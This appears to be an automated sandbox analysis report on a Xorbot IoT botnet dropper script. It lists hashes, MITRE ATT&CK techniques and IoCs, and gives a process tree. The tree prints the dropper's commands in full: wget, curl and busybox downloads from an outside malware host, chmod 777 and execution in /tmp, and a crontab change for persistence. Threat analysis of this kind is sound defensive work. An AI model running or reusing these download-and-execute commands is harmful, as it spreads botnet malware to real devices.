xorbot | 2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/02/2025, 23:12

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General

Target

bins.sh
Size

10KB
MD5

97fa31a6ea5fb450f4b293c1695590f1
SHA1

159bd52d99913da9322c119a059d3a365e4df48b
SHA256

2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb
SHA512

398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1
SSDEEP

192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2005) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
696	chmod
832	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	698	bins.sh

Renames itself 1 IoCs

pid	Process
699	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.DjeEWN	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/725/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/830/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/844/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/930/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/989/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/776/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/832/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/155/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/761/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/811/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/907/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/954/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/726/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/729/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/770/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/936/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/990/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/772/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/910/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/916/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/706/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/719/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/801/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/893/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/28/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/108/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/714/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/882/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/961/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/662/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/929/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/947/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/980/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/755/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/8/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/717/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/849/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/862/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/955/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/976/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/438/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/754/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/900/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/909/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/11/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/712/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/736/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/785/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/819/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/847/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/865/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/898/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/723/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/740/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/792/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/840/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/940/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/953/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/979/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/12/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/17/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/857/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/974/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
836	wget
667	wget
675	curl
694	busybox
712	wget
794	curl
796	busybox

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	wget
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	curl
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:660
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:663
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:667
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:698
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:700
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:702
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:703
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:704
- /bin/rm
  rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  PID:708
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  PID:794
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - System Network Configuration Discovery
  PID:796
- /bin/chmod
  chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:834
- /bin/rm
  rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:835
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - System Network Configuration Discovery
  PID:836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.DjeEWN

Filesize
210B

MD5
abb541e849fb628dbd8798467d66aebe

SHA1
a5cf4cd7005a2cc351d0e0dd0fdcf348a76b58a3

SHA256
c9c5898e455b4378365bdcb47b02c669d2786c01e2e1b828879dd5c4f3575ea3

SHA512
c7ab43c8bee8e9230a992ba2971d13882b2cbfd00ef8892baaebe7a152ecac221d2faf822052a337d13afcb27dd885a8f6f93daea951e0f1c5ed4263246a677e

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads